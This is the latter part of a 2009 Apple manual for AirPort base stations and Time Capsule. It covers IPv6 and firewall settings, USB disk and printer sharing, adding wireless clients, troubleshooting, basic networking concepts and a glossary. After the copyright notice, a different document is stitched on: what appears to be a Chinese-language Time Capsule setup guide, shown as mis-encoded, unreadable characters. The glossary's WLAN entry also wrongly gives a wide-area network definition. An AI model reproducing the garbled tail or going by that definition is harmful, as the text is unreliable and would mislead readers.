Manual Setup, or double-click the device icon to open its configuration in a separate
window. Enter the password if necessary.
2 Click the AirPort button, and then click Base Station.
3 Select the “Set time automatically” checkbox, and then choose an NTP server from the
pop-up menu if you have access to one on your network or on the Internet.
If you click “Logs and Statistics” you can view and export logs, and view wireless client
and DHCP client information.
If you export the logs, use the Mac OS X Console application, located in the Utilities
folder in the Applications folder on a Mac, or in Start > All Programs > AirPort on a
Windows computer, to view the logs on the computer receiving them.
Using Back to My Mac on your Wireless Network
If you have a paid MobileMe subscription (not a free trial), you can use Back to My Mac
to access your AirPort Base Station or Time Capsule. You can access the base station or
Time Capsule to monitor the network or make changes to the base station or Time
Capsule settings.
You can also access the hard disk built into the Time Capsule or an external USB hard
disk connected to the base station or Time Capsule.
To set up Back to My Mac on your wireless device:
1 Click MobileMe in the Advanced pane.
2 Enter your MobileMe account and password.Chapter 3 AirPort Network Designs 53
Setting up IPv6
IPv6 is a new version of Internet Protocol (IP). IPv6 is currently used primarily by some
research institutions. Most computers do not need to set up or use IPv6.
The primary advantage of IPv6 is that it increases the address size from 32 bits (the
current IPv4 standard) to 128 bits. An address size of 128 bits is large enough to support
billions and billions of addresses. This allows for more addresses or nodes than are
currently available. IPv6 also provides more ways to set up the address and simpler
autoconfiguration.
By default, IPv6 is configured automatically, and the default settings are sufficient.
However, if your network administrator or Internet service provider (ISP) has specifically
told you to configure IPv6 manually, follow the instructions below.
Open AirPort Utility, select your wireless device, and then choose Base Station >
Manual Setup. Enter the password if necessary. Click the Advanced button, and then
click IPv6.
To manually set IPv6 options:
1 Choose Node or Tunnel from the IPv6 mode pop-up menu, depending on the method
you were instructed to use.
2 Choose Manually from the Configure IPv6 pop-up menu, and enter the information you
were given from your ISP or network administrator.
Customizing the IPv6 firewall
If your wireless device supports it, you can use AirPort Utility to adjust IPv6 firewall
settings.
To adjust IPv6 firewall settings:
1 Open AirPort Utility, located in the Utilities folder in the Applications folder on a Mac,
or in Start > All Programs > AirPort on a Windows computer.
2 Select your device from the list, and then enter the password.
3 Click the Advanced button, and then click IPv6 Firewall
By default, “Allow Teredo tunnels” and “Allow incoming IPSec authentication” are
selected.
To provide access to specific devices on your network from outside the IPv6 firewall,
click the Add (+) button and enter the IPv6 address and/or the port for the device.
To use an IPv6 firewall, you need an Apple 802.11n wireless device.54 Chapter 3 AirPort Network Designs
Sharing and Securing USB Hard Disks on Your Network
If you connect a USB hard disk to your AirPort Extreme Base Station or Time Capsule,
computers connected to the network—both wireless and wired, Mac and Windows—
can use it to back up, store, and share files.
If you’re using a Time Capsule, you don’t need to connect a hard disk to it. Every Time
Capsule includes an internal AirPort disk.
To share a hard disk on your network:
1 Plug the hard disk into the USB port on the back of the AirPort Extreme Base Station
or Time Capsule.
2 Open AirPort Utility, located in the Utilities folder in the Applications folder on a Mac,
or in Start > All Programs > AirPort on a Windows computer.
3 Select your AirPort Extreme Base Station or your Time Capsule, and then choose Base
Station > Manual Setup, or double-click the device icon to open its configuration in a
separate window. Enter the password if necessary.
4 Click the Disks button, and then click File Sharing.
5 Choose “With a disk password,” or “With base station password” if you want to secure
the shared disk with a password, or choose “With accounts” if you want to secure the
disk using accounts.
 If you choose to use accounts, click Configure Accounts, click the Add (+) button,
and then enter a name and password for each user that will access the disk.
6 Choose “Not allowed,” “Read only,” or “Read and write” to assign guest access to
the disk.
7 Select the “Share disks over Ethernet WAN port” checkbox if you want to provide
remote access to the disk over the WAN port.
Data transfer speed may vary, depending on the network.
to Internet
DSL or cable modem
AirPort Extreme USB hard disk
< Ethernet WAN port
2.4 or 5 GHz
2.4 or 5 GHzChapter 3 AirPort Network Designs 55
Using a Time Capsule in Your Network
If you’re using a Time Capsule and a computer with Mac OS X Leopard (v10.5.2 or later),
you can use Time Machine to automatically back up all of the computers on the
network that are using Leopard. Other Mac computers and Windows computers can
access the Time Capsule’s internal AirPort disk to back up, store, and share files.
And because every Time Capsule is also a full-featured 802.11n base station, you can set
up your Time Capsule to share an Internet connection with computers on the AirPort
network it creates.
For information about using your Time Capsule with Time Machine in Mac OS X
Leopard, search for “Time Capsule” in Mac Help.
Connecting a USB Printer to an Apple Wireless Device
You can connect a compatible USB printer to your Apple wireless device (an AirPort
Extreme Base Station, AirPort Express, or Time Capsule), so that anyone on the network
using Mac OS X v10.2.3 or later, Windows XP with Service Pack 2, or Windows Vista can
print to that printer.
To use a printer on your network:
1 Connect the printer to the USB port on the Apple wireless device.
2 Set up the client computers:
 On a computer using Mac OS X v10.5 or later, open System Preferences and click
Print & Fax. Select the printer from the Printers list. If the printer isn’t in the list, click
Add (+) at the bottom of the list, locate the printer, and then click Add.
 On a computer using Mac OS X v10.2.3 or later, open Printer Setup Utility located in
the Utilities folder in the Applications folder, and then select the printer from the list.
If the printer is not in the list, click Add, choose Bonjour from the pop-up menu, and
then select the printer from the list.
to Internet
DSL or cable modem
Time Capsule
< Ethernet WAN port
2.4 or 5 GHz
2.4 or 5 GHz
2.4 GHz56 Chapter 3 AirPort Network Designs
 On a computer using Windows, install Bonjour for Windows from AirPort Utility CD,
and follow the onscreen instructions to connect to the printer.
You can change the name of the printer from the default name to one you choose.
To change the name of your USB printer:
1 Open AirPort Utility, select your device, and then choose Base Station > Manual Setup,
or double-click the device icon to open its configuration in a separate window.
2 Click the Printer button and type a name for the printer in the USB Printers field.
Adding a Wireless Client to Your 802.11n Network
If your Apple wireless device supports it, and your network is password-protected using
WPA Personal or WPA/WPA2 Personal, you can provide wireless clients access to your
network without requiring them to enter the network password.
When you allow a client access to your network, the client’s name and wireless MAC
address (or AirPort ID) are stored in the access control list of AirPort Utility until you
remove them from the list. You can provide 24 hours of access, after which time the
client will no longer be able to access your network.
When you provide a client access to your wireless network, the client does not need to
enter the network password.
To allow client access to your network:
1 Open AirPort Utility, located in the Utilities folder in the Applications folder on a Mac,
or in Start > All Programs > AirPort on a Windows computer.
2 Select your Apple wireless device and choose Base Station > Manual Setup. Enter the
password if necessary.
3 Choose Add Wireless Clients from the Base Station menu.
4 Select how you want the client to access the network:
 Select PIN to enter the eight-digit number provided by the client requesting network
access.
 Select “First attempt” to allow network access to the first client attempting to join
the network.
 Select “Limit client’s access to 24 hours” if you want to provide only one day of access
to your network. If you don’t select this option, the client will have access to your
network until you remove the name from the list.Chapter 3 AirPort Network Designs 57
Solving Problems
If you have trouble connecting to the Internet with any AirPort Extreme network
design, try the following:
On a computer using Mac OS X:
 Make sure the wireless device is connected to the Internet. The computers on your
AirPort network cannot connect to the Internet if your device is not connected to
the Internet.
 Check your Internet connection using your computer. If you can’t connect with your
computer, the problem may be with your Internet connection.
 On a Mac using Mac OS X v10.5, check the active network services in the Network
pane of System Preferences. Make sure the ports you want to use are active.
 Open Network preferences and then click AirPort. Make sure that the computer has
joined the AirPort network created by your wireless device.
 Restart your computer. This renews the IP address you receive from the wireless
device. The IP addresses should be in the range of 10.0.1.2 to 10.0.1.200, 172.16.1.2 to
172.16.1.200, or 192.168.1.2 to 192.168.1.200, depending on the address scheme the
wireless device uses.
 If the wireless device is set up as a DHCP server, make sure you choose “Share a
public IP address” from the Connection Sharing pop-up menu on the Internet
Connection pane of Internet settings in AirPort Utility.
 If you’re using a cable modem and your wireless device cannot connect to the
Internet, turn off the cable modem, wait a few minutes, and then turn it on again.
On a computer using Windows:
 Make sure the wireless device is connected to the Internet. The computers on your
AirPort network cannot connect to the Internet if your device is not connected to the
Internet.
 Check your Internet connection using your computer. If you can’t connect with your
computer, the problem may be with your Internet connection.
 Right-click the wireless connection icon, and then choose Status.58 Chapter 3 AirPort Network Designs
 Make sure that the computer has joined the AirPort network created by your wireless
device.
 Restart your computer. This renews the IP address you receive from the wireless
device. The IP addresses should be in the range of 10.0.1.2 to 10.0.1.200, 172.16.1.2 to
172.16.1.200, or 192.168.1.2 to 192.168.1.200 depending on the address scheme the
device uses.
 If the device is set up as a DHCP server, make sure the “Obtain an IP address
automatically” checkbox is selected in the General pane of Internet Protocol (TCP/IP)
Properties. Right-click the wireless connection icon and click Properties. Click Internet
Protocol (TCP/IP), and then click Properties.
More Information About AirPort
You can find more information about AirPort in the following locations:
 AirPort Utility Help
Look in AirPort Utility Help for information on setting up an AirPort Extreme network;
using an AirPort Extreme Base Station, an AirPort Express, or a Time Capsule; editing
settings; avoiding sources of interference; locating additional information on the
Internet; and more. On a computer using Mac OS X, open AirPort Utility and choose
Help > AirPort Utility Help. On a computer using Windows, open AirPort Utility and
click Help.
 World Wide Web
Apple AirPort website at www.apple.com/airportextreme
Apple Support website at www.apple.com/support/airport4
59
4 Behind the Scenes
This chapter defines terms and concepts used to discuss
computer networks. Use it as a reference to help you
understand what is taking place behind the scenes of your
AirPort wireless network.
Basic Networking
Packets and Traffic
Information travels across a network in chunks called packets. Each packet has a
header that tells where the packet is from and where it’s going, like the address on
the envelope when you send a letter. The flow of all these packets on the network
is called traffic.
How Information Reaches Its Destination
Hardware Addresses
Your computer “listens” to all of the traffic on its local network and selects the
packets that belong to it by checking for its hardware address (also called the media
access control, or MAC address) in the packet header. This address is a number unique
to your computer.
Every hardware product used for networking is required to have a unique hardware
address permanently embedded in it. Your AirPort Card’s number is called the
AirPort ID.
IP Addresses
Since the Internet is a network of networks (connecting millions of computers),
hardware addresses alone are not enough to deliver information on the Internet. It
would be impossible for your computer to find its packets in all the world’s network
traffic, and impossible for the Internet to move all traffic to every network.60 Chapter 4 Behind the Scenes
So, your computer also has an Internet Protocol (IP) address that defines exactly where
and in what network it’s located. IP addresses ensure that your local Ethernet network
receives only the traffic intended for it. Like the hierarchical system used to define zip
codes, street names, and street numbers, IP addresses are created according to a set of
rules, and their assignment is carefully administered.
The hardware address is like your name; it uniquely and permanently identifies you. But
it doesn’t offer any clues about your location, so it’s only helpful in a local setting. An IP
address is like your street address, which contains the information that helps letters
and packages find your house.
Rules for Sending Information (Protocols)
A protocol is a set of rules that define how communication takes place. For instance, a
networking protocol may define how information is formatted and addressed, just as
there’s a standard way to address an envelope when you send a letter.
Using the AirPort Extreme Base Station
This section describes the different network interfaces of the AirPort Extreme Base
Station and describes the functions the base station can provide.
Base Station Interfaces
To use the AirPort Extreme Base Station, you configure how its networking interfaces
will be used. The AirPort Extreme Base Station has five hardware networking interfaces:
 AirPort interface: The AirPort interface creates an AirPort network for AirPortenabled computers to join. The base station can provide IP services such as DHCP
and NAT using this interface. The base station cannot use the AirPort interface to
establish a connection with the Internet.
 Ethernet WAN (<) interface: Use the Ethernet WAN interface to connect DSL
or cable modems and connect to the Internet.
 Ethernet LAN (G) interface: If your base station has one or more Ethernet LAN
interface ports, you can use them to provide IP services to local Ethernet clients.
 USB (d) interface: Use the USB interface to connect a USB printer or hard disk to the
AirPort Extreme Base Station.
Status light Ethernet WAN port
Power port USB port
Ethernet ports Reset button
Security slot
< G
¯
∏
dChapter 4 Behind the Scenes 61
Using the Time Capsule
This section describes the different network interfaces of the Time Capsule and
describes the functions it can provide.
Time Capsule Interfaces
To use your Time Capsule, you configure how its networking interfaces will be used.
The Time Capsule has five hardware networking interfaces:
 AirPort interface: The AirPort interface creates an AirPort network for AirPortenabled computers to join. The Time Capsule can provide IP services such as DHCP
and NAT using this interface. The Time Capsule cannot use the AirPort interface to
establish a connection with the Internet.
 Ethernet WAN (<) interface: Use the Ethernet WAN interface to connect DSL
or cable modems and connect to the Internet.
 Ethernet LAN (G) interface: The Time Capsule has three Ethernet LAN interface
ports. You can use them to provide IP services to local Ethernet clients.
 USB (d) interface: Use the USB interface to connect a USB printer to the Time
Capsule.
Using the AirPort Express
This section describes the different network interfaces of the AirPort Express Base
Station and describes the functions the base station can provide.
AirPort Express Interfaces
To set up the AirPort Express Base Station, you configure how its networking interfaces
will be used. The AirPort Express Base Station has four hardware networking interfaces:
 AirPort interface: The AirPort interface creates an AirPort network for AirPortenabled computers to join. The base station can provide IP services such as DHCP
and NAT using this interface. The base station cannot use the AirPort interface to
establish a connection with the Internet.
 Ethernet WAN (<) interface: Use the Ethernet WAN interface to connect DSL
or cable modems and connect to the Internet.
 USB (d) interface: Use the USB interface to connect a USB printer to the
AirPort Extreme Base Station.
< G
≤ d ∏
Status light Ethernet WAN port
Power port Reset button USB port
Ethernet ports
Security slot62 Chapter 4 Behind the Scenes
 Audio (-) interface: Use the analog and optical digital audio stereo mini-jack to
connect an AirPort Express to a home stereo or powered speakers.
Apple Wireless Device Functions
 Bridge: Each Apple wireless device is configured by default as a bridge between the
wireless AirPort network and the wired Ethernet network. Connecting an AirPort
network to an Ethernet network through the device’s Ethernet LAN port (G) bridges
the wireless AirPort network to the wired Ethernet network.
Important: If you’re connecting an Ethernet network to the device’s Ethernet LAN
port (G), make sure the Ethernet network does not have an Internet connection.
 NAT router: One of the most powerful features of Apple wireless devices is their
ability to share one Internet connection with several computers. To provide this
service, the device acts as a router. The device can be configured to provide both
bridging services and routing services at the same time.
 DHCP server: When you configure the wireless device to act as a DHCP server,
it provides IP addresses to both wired and wireless client computers that are
configured to obtain IP addresses using DHCP. Using DHCP makes IP configuration
simple for client computers, since they don’t need to enter their own IP information.
Status light AC plug adapter USB port
Ethernet port Line Out port
(Analog and optical
digital audio mini-jack)
Reset button
G -
d ∏Chapter 4 Behind the Scenes 63
Items That Can Cause Interference with AirPort
The farther away the interference source, the less likely it is to cause a problem.
The following items can cause interference with AirPort communication:
 Microwave ovens
 DSS (Direct Satellite Service) radio frequency leakage
 The original coaxial cable that came with certain types of satellite dishes. Contact
the device manufacturer and obtain newer cables.
 Certain electrical devices, such as power lines, electrical railroad tracks, and power
stations
 Cordless telephones that operate in the 2.4 gigahertz (GHz) range. If you have
problems with your phone or AirPort communication, change the channel of
your base station.
 Other AirPort and wireless networks
 Adjacent base stations using nearby channels. If base station A is set to channel 1,
base station B should be set to channel 6 or 11. For best results, use channels 1, 6,
or 11 when operating your base station in the 2.4 GHz range.
 Moving objects that temporarily place metal between your computer and the
base stationGlossary
64
Glossary
10Base-T The most common cabling method for Ethernet. 10Base-T conforms to IEEE
standard 802.3. It was developed to enable data communications over unshielded
twisted pair (telephone) wiring at speeds of up to 10 megabits per second (Mbps) up to
distances of approximately 330 feet on a network segment.
10/100Base-T A networking standard that supports data transfer rates up to 100 Mbps.
Because it is 10 times faster than Ethernet, it is often referred to as Fast Ethernet.
10/100/1000Base-T A term describing various technologies for transmitting Ethernet
packets at a rate of a gigabit per second. Sometimes referred to as Gigabit Ethernet. In
2000, Apple’s Power Mac G4 and PowerBook G4 were the first mass-produced personal
computers featuring the 10/100/1000Base-T connection. It quickly became a built-in
feature in many other computers.
802.11a An IEEE standard for a wireless network that operates at 5 GHz with rates
up to 54 Mbps.
802.11b An IEEE standard for a wireless network that operates at 2.4 GHz with rates
up to 11 Mbps.
802.11g An IEEE standard for a wireless network that operates at 2.4 GHz Wi-Fi with
rates up to 54 Mbps.
802.11n A task group of the IEEE 802.11 committee whose goal is to define a standard
for high throughput speeds of at least 100 Mbps on wireless networks. Some proposals
being fielded by the task group include designs for up to 540 Mbps, Multiple-input
multiple-output (MIMO) technology, using multiple receivers and multiple transmitters
in both the client and access point to achieve improved performance, is expected to
form the basis of the final specification. See Mbps, MIMO.
access point Also known as a wireless access point (WAP), a device that connects
wireless devices together to form a network.
authentication The process that occurs after association to verify the identity of the
wireless device or end user and allow access to the network. See WPA, WPA2.Glossary 65
backbone The central part of a large network that links two or more subnetworks.
The backbone is the primary data transmission path on large networks such as those of
enterprises and service providers. A backbone can be wireless or wired.
bandwidth The maximum transmission capacity of a communications channel at
any point in time. Bandwidth, usually measured in bits per second (bps), determines
the speed at which information can be sent across a network. If you compare the
communications channel to a pipe, bandwidth represents the pipe width and
determines how much data can flow through the pipe at any one time. The greater
the bandwidth, the faster data can flow. See bps.
base station In the area of wireless computer networking, a base station is a radio
receiver/transmitter that serves as the hub of the local wireless network, and may also
be the gateway between a wired network and the wireless network. A base station can
also be referred to as an access point or router.
Bluetooth A technology designed for short-range, wireless communications among
computing devices and mobile products, including PCs and laptop computers,
personal digital assistants, printers, and mobile phones. Designed as a cable
replacement, Bluetooth enables short-range transmission of voice and data in the 2.4
GHz frequency spectrum within a range of about 30 feet.
bps Bits per second. A measure of data transmission speed across a network or
communications channel; bps is the number of bits that can be sent or received per
second. It measures the speed at which data is communicated and should not
be—but often is—confused with bytes per second. Whereas “bits” is a measure of
transmission speed, “bytes” is a measure of storage capacity. See bandwidth, Mbps.
bridge A wireless device that connects multiple networks together. Using an access
point as a bridge turns off Network Address Translation (NAT) and DHCP routing and
simply extends the range of service.
broadband A comparatively fast Internet connection possessing sufficient bandwidth
to accommodate multiple voice, data, and video channels simultaneously. Cable, DSL,
and satellite are all considered to be broadband channels; they provide much greater
speed than dial-up Internet access over telephone wires. See cable modem, DSL.
broadband modem A device that connects a local computer or network to a highspeed Internet service, such as DSL or Cable Internet. See cable modem, DSL.
cable modem A device used with broadband Internet service provided by a
traditional cable TV service. Cable modems convert analog data from the cable TV
system into a digital format that can be used by a computer. See broadband modem.66 Glossary
channel One portion of the available radio spectrum that all devices on a wireless
network use to communicate. Changing the channel on the access point/router can
help reduce interference.
client Any computer or device connected to a network that requests files and services
(files, print capability) from the server or other devices on the network. The term also
refers to end users.
DHCP Dynamic Host Configuration Protocol. A protocol for dynamically assigning IP
addresses from a predefined list to nodes on a network. When they log on, network
nodes automatically receive an IP address from a pool of addresses served by a DHCP.
The DHCP server provides (or leases) an IP address to a client for a specific period of
time. The client will automatically request a renewal of the lease when the lease is
about to run out. If a lease renewal is not requested and it expires, the address is
returned to the pool of available IP addresses. Using DHCP to manage IP addresses
simplifies client configuration and efficiently utilizes IP addresses. See IP address.
DNS Domain Name System. An Internet service that translates alphanumeric domain
names to assigned IP addresses and vice versa. The term is typically used to describe
the server that makes the translation. Every website has its own specific IP address on
the Internet. DNS typically refers to a database of Internet names and addresses that
translates the alphanumeric names to the official Internet Protocol numbers and vice
versa. For instance, a DNS server converts a name like mywebsite.com to a series of
numbers like 107.22.55.26. See IP, IP address.
DSL Digital Subscriber Line. A dedicated digital circuit between a residence or
business and a telephone company’s central office. It allows high-speed data, voice,
and video transmissions over existing twisted-pair copper plain old telephone service
(POTS) telephone wires. See broadband.
dual-band A device that is capable of operating in either of two frequencies. On a
wireless network, dual-band devices are capable of operating in the 2.4 GHz (802.11b/g)
or 5 GHz (802.11a) bands.
encryption A mechanism for providing data confidentiality. See WPA, WPA2.
Ethernet The most popular international standard technology for wired local area
networks (LANs). It provides from 10 Mbps transmission speeds on basic 10Base-T
Ethernet networks to 100 Mbps transmission speeds on Fast Ethernet networks, 1000
Mbps on Gigabit Ethernet, and 10,000 Mbps on 10 Gigabit Ethernet.Glossary 67
firewall A system of software and/or hardware that resides between two networks to
prevent access by unauthorized users. The most common use of a firewall is to provide
security between a local network and the Internet. Firewalls can make a network
appear invisible to the Internet and can block unauthorized and unwanted users from
accessing files and systems on the network. Hardware and software firewalls monitor
and control the flow of data in and out of computers in both wired and wireless
enterprise, business and home networks. They can be set to intercept, analyze, and
stop a wide range of Internet intruders and hackers.
gateway In the wireless world, a gateway is an access point with additional software
capabilities such as providing NAT and DHCP. Gateways may also provide VPN support,
roaming, firewalls, various levels of security, and so on.
hotspot A location where users can access the Internet using Wi-Fi laptops and other
Wi-Fi enabled devices. Access may be provided free or for a fee. Hotspots are often
found at coffee shops, hotels, airport lounges, train stations, convention centers, gas
stations, truck stops, and other public meeting areas. Corporations and campuses often
offer hotspot service to visitors and guests. Hotspot service is sometimes available
aboard planes, trains, and boats.
hub A multiport device used to connect client devices to a wired Ethernet network.
Hubs can have numerous ports and can transmit data at speeds ranging from 10 to
1000 Mbps to all the connected ports. A small wired hub may only connect 4
computers; a large hub can connect 48 or more. See router.
IEEE 802.11 The family of specifications developed by the Institute of Electrical and
Electronics Engineers (IEEE) 802.11 committee, which establishes standards for wireless
Ethernet networks. 802.11 standards define the over-the-air interface between wireless
clients and a base station, or an access point that is physically connected to the wired
network.
IP Internet Protocol. The basic communications protocol of the Internet. See IP
address, TCP/IP.
IP address Internet Protocol address. IP Version 4, the most widely used Internet
protocol, provides a 32-bit number that identifies the sender or receiver of information
sent across the Internet. An IP address has two parts: The identifier of the particular
network on the Internet and the identifier of the particular device (which can be
a server or a workstation) within that network. The newer IP, Version 6, provides a
128-bit addressing scheme to support a much greater number of IP addresses.
See DHCP, DNS, IP.
IP subnet An IP subnet is a local network as defined by IP network numbers.
Connecting to a subnet involves connecting to the appropriate hardware network and
configuring IP for that network.68 Glossary
LAN Local area network. A system of connecting PCs and other devices within the
same physical proximity for sharing resources such as an Internet connections, printers,
files, and drives. When Wi-Fi is used to connect the devices, the system is known as a
wireless LAN or WLAN. See WAN.
MAC address Media Access Control address. A unique hardware number that
identifies each device on a network. A device can be a computer, printer, and so on.
A MAC address is also known as an AirPort ID.
Mbps Megabits per second. A measurement of data speed equivalent to a million bits
per second.
MIMO Multiple-input multiple-output. An advanced signal processing technology that
uses multiple receivers and multiple transmitters in both the client and access point to
achieve data throughput speeds of 100 Mbps. See 802.11n.
NAT Network Address Translation. A network capability that enables multiple
computers to dynamically share a single incoming IP address from a dial-up, cable, or
DSL connection. NAT takes a single incoming public IP address and translates it to a
new private IP address for each client on the network. See DHCP, IP address.
network name A name used to identify a wireless network. See SSID.
NIC Network interface card. A wireless or wired PC adapter card that allows the client
computer to utilize network resources. Most office-wired NICs operate at 100 Mbps.
Wireless NICs operate at data rates defined by 802.11 standards.
packet A unit of information transmitted from one device to another on a network.
A packet typically contains a header with addressing information, data, and a
checksum mechanism to ensure data integrity.
pass phrase A series of characters used to create a key that is used by Wi-Fi Protected
Access (WPA). See PSK, WPA.
print server A network device, often a computer, that connects to at least one printer,
allowing it to be shared among computers on a network.
PSK Pre-shared key. A mechanism in Wi-Fi Protected Access (WPA)-Personal that
allows the use of manually entered keys or passwords to initiate WPA security. The PSK
is entered on the access point or home wireless gateway and each PC that is on the
Wi-Fi network. After entering the password, Wi-Fi Protected Access automatically takes
over. It keeps out eavesdroppers and other unauthorized users by requiring all devices
to have the matching password. The password also initiates the encryption process
which, in WPA is Temporal Key Integrity Protocol (TKIP) and in WPA2 is Advanced
Encryption Standard (AES). See TKIP, WPA-Personal, WPA2-Personal.Glossary 69
roaming (Wi-Fi) The ability to move from one area of Wi-Fi coverage to another with
no loss in connectivity (hand-off).
router A wireless router is a device that accepts connections from wireless devices
to a network, includes a network firewall for security, and provides local network
addresses. See hub.
server A computer that provides resources or services to other computers and devices
on a network. Types of servers include print servers, Internet servers, mail servers, and
DHCP servers. A server can also be combined with a hub or router. See DHCP, hub,
router.
SSID Service set identifier. A unique 32-character network name, or identifier, that
differentiates one wireless LAN from another. All access points and clients attempting
to connect to a specific WLAN must use the same SSID. The SSID can be any
alphanumeric entry up to a maximum of 32 characters. See network name.
subnet An IP address range that is part of a larger address range. Subnets are used to
subdivide a network address of a larger network into smaller networks. Subnets
connect to other networks through a router. Each individual wireless LAN will typically
use the same subnet for all of its clients. See IP address, router.
TCP Transmission Control Protocol. The transport-level protocol used with the Internet
Protocol (IP) to route data across the Internet. See IP, TCP/IP.
TCP/IP The underlying technology of Internet communications. While IP handles the
actual delivery of data, TCP tracks the data packets to efficiently route a message
through the Internet. Every computer in a TCP/IP network has its own IP address that is
either dynamically assigned at startup (see DHCP) or permanently assigned as a static
address. All TCP/IP messages contain the address of the destination network, as well as
the address of the destination station. This enables TCP/IP messages to be transmitted
to multiple networks (subnets) within an organization or worldwide. For example,
when a user downloads a webpage, TCP divides the page file on the web server into
packets, numbers the packets, and forwards them individually to the user’s IP address.
The packets may be routed along different paths before reaching the user’s address.
At the destination, TCP reassembles the individual packets, waiting until they have all
arrived to present them as a single file. See IP, IP address, packet, TCP.
throughput Usually measured in bps, Kbps, Mbps or Gbps, throughput is the amount
of data that can be sent from one location to another in a specific amount of time.
See bps, Mbps.
USB Universal Serial Bus. A high-speed bidirectional serial connection used to transfer
data between a computer and peripherals such as digital cameras and memory cards. 70 Glossary
WEP Wired equivalent privacy. The original security standard used in wireless
networks to encrypt the wireless network traffic. See WPA, Wireless local area network.
Wi-Fi A term developed by the Wi-Fi Alliance to describe wireless local area network
(WLAN) products that are based on the Institute of Electrical and Electronics Engineers.
Wi-Fi Certified The certification standard designating IEEE 802.11-based wireless local
area network (WLAN) products that have passed interoperability testing requirements
developed and governed by the Wi-Fi Alliance.
wireless network Devices connected to a network using a centralized wireless access
point. See WLAN.
WLAN A data communications network that spans large local, regional, national, or
international areas and is usually provided by a public carrier (such as a telephone
company or service provider).The term is used to distinguish between phone-based
data networks and Wi-Fi networks. Phone networks are considered wide area networks
(WANs) and Wi-Fi networks are considered wireless local area networks (WLANs).
See LAN.
WPA - Enterprise Wi-Fi Protected Access-Enterprise. A wireless security method
that provides strong data protection for multiple users and large managed networks.
It uses the 802.1X authentication framework with TKIP encryption and prevents
unauthorized network access by verifying network users through an authentication
server. See 802.1X.
WPA - Personal Wi-Fi Protected Access-Personal. A wireless security method that
provides strong data protection and prevents unauthorized network access for small
networks. It uses TKIP encryption and protects against unauthorized network access.
WPA2 Wi-Fi Protected Access 2. The follow-on security method to WPA for wireless
networks that provides stronger data protection and network access control. It
provides enterprise and consumer Wi-Fi users with a high level of assurance that only
authorized users can access their wireless networks. Based on the ratified IEEE 802.11i
standard, WPA2 provides government grade security by implementing the National
Institute of Standards and Technology (NIST) FIPS 140-2 compliant AES encryption
algorithm and 802.1X-based authentication. There are two versions of WPA2: WPA2-
Personal and WPA2-Enterprise. WPA2-Personal protects unauthorized network access
by utilizing a set-up password. WPA2-Enterprise verifies network users through a server.
WPA2 is backward compatible with WPA. Like WPA, WPA2 uses the 802.1X/EAP
framework as part of the infrastructure that ensures centralized mutual authentication
and dynamic key management and offers a pre-shared key for use in home and small
office environments. Like WPA, WPA2 is designed to secure all versions of 802.11 devices,
including 802.11b, 802.11a, and 802.11g, multiband and multimode. See WPA2-
Enterprise, WPA2-Personal.Glossary 71
WPA2 - Enterprise Wi-Fi Protected Access 2 - Enterprise. The follow-on wireless
security method to WPA that provides stronger data protection for multiple users and
large managed networks. It prevents unauthorized network access by verifying
network users through an authentication server. See WPA2.
WPA2 - Personal Wi-Fi Protected Access 2 - Personal. The follow-on wireless security
method to WPA that provides stronger data protection and prevents unauthorized
network access for small networks. See WPA2, PSK.www.apple.com/airportextreme
www.apple.com/airport
© 2009 Apple Inc. All rights reserved.
Apple, the Apple logo, AirPort, AirPort Extreme, AppleShare, AppleTalk, Back to My Mac, Bonjour, Mac,
and Mac OS are trademarks of Apple Inc., registered in the U.S. and other countries. AirPort Express, AirTunes,
Time Capsule, and Time Machine are trademarks of Apple Inc. Other product and company names mentioned
herein may be trademarks of their respective companies.
019-1257
Time Capsule3
5 1
7 Time Capsule
8 AirPort
9
11 Time Capsule
13 2 Time Capsule
14 Time Capsule
17 AirPort
19
19 ! Internet "
21 #$%&
22 '()*+,-./0"12
23 3Time Capsule 4 Time Machine
25 3
25 5627"1 Internet
25 56289-.:Time Capsule -.
26 56Time Capsule ;<=>
27 56Time Capsule
?@ABC4
28 56DEF;<=>
29 G AirPort
29 HITime Capsule JKLM
30 NO AirPort PQ R&
31 4
33 Time Capsule
36 Regulatory Compliance Information1
5
1
Time Capsule
Time Capsule
Time Capsule 0S2TUL#V Wi-Fi WXYZ[\❡ Mac OS X
v10.5.2 Leopard :^4_`a Time Machine >❝0^TcLd4
eZ[
4 e 23 ? ➋A Time Capsule 5 Time Machine➌❡
 -. ¡ ¢£"1 Internet❝Sfg Wi-Fi Z ⑧5
iPhone❞iPod touch Apple TV⑨kl ! Internet "❡2¤0^3"1h
fg¥¦ !§¨❡
 <-. ¡:;<-. ¡ ©ª❝«¬d< Internet " ®¯
z{°±K ⑧5fg❞iPhone❞iPod touch Apple TV⑨❡
 d Time Capsule "1h2 ❡pZtu Macintosh❞
Windows XP : Windows Vista fg1❝/u"1s❡
 d²³ USB DEF"1h2 Time Capsule❡AirPort 4e< fg
⑧<:⑨´u"1hµDEF#V¶D❡
 d·1 USB ¸¹"1h2 Time Capsule 4❡AirPort 4e< fg
⑧<:⑨´uº»¸¹¼ ½¾❡ 1 7
 d USB ¿À"1h Time Capsule 4❝ÁÂÃ"1Ä USB Z ⑧5DEF:
¸¹⑨❡4 e / ➝§¨I¼❤56n Windows XP :
Windows Vista fg❝FnB [ J ] > [ e< ] > AirPort ¼❡
-./01( Time Capsule ÷ðZKL❝'()*"1❡ý:
;< 22 ì➋'()*+,-./0"12
➌❡
/2
13
2 Time Capsule
Time
Capsule Internet AirPort
`Mdz{ê¶N\ OP✐dTime Capsule "1 Internet❝^ ➜AirPort
➝¼ QR 2 Time Capsule tu❡5G
Ä ½Q❝^ ➜AirPort ➝#$tu ½Q❝ý:;
www.apple.com/tw/support/airport S4 ➜ AirPort T AirPort
⑧Mac OS X v10.5 + Windows⑨➝❡
32ç±q Time Capsule ãä¥å¹4 ➜AirPort ➝¥Â❝2K0^
➜AirPort ➝¼ QRUVVoW pK\
X❡íî #$%&❝ý3 ➜AirPort ➝ ➜wLx➝%ia%D
➜þY ➝❡ý:;< 21 ì ➋ #$%&➌❡14 2 Time Capsule
Time Capsule
~2 Time Capsule z{ Internet "l❝ê¶fg Zdu"1
AirPort !§¨❞YZ[❝^ Internet > ⑧5\
]À f^_`>⑨✐
 pZ ➜AirPort ø➝ ➜AirPort Extreme ø➝ Macintosh fg
 pZ 802.11a❞802.11b❞802.11g IEEE 802.11n draft ñòtu fg
 Wi-Fi Z
"1 Time Capsule fgm0º» !§¨^"1
Internet❡
í2ç±q Mac OS X v10.5.2 :^4_`❝2K0^ Time Machine d4
e / ➝§¨
I¼❤^Windows fg [ J ] > [ e< ] > AirPort ¼⑨❝%D2 Time
Capsule❝ÁÂ×jê ➜e*➝❡
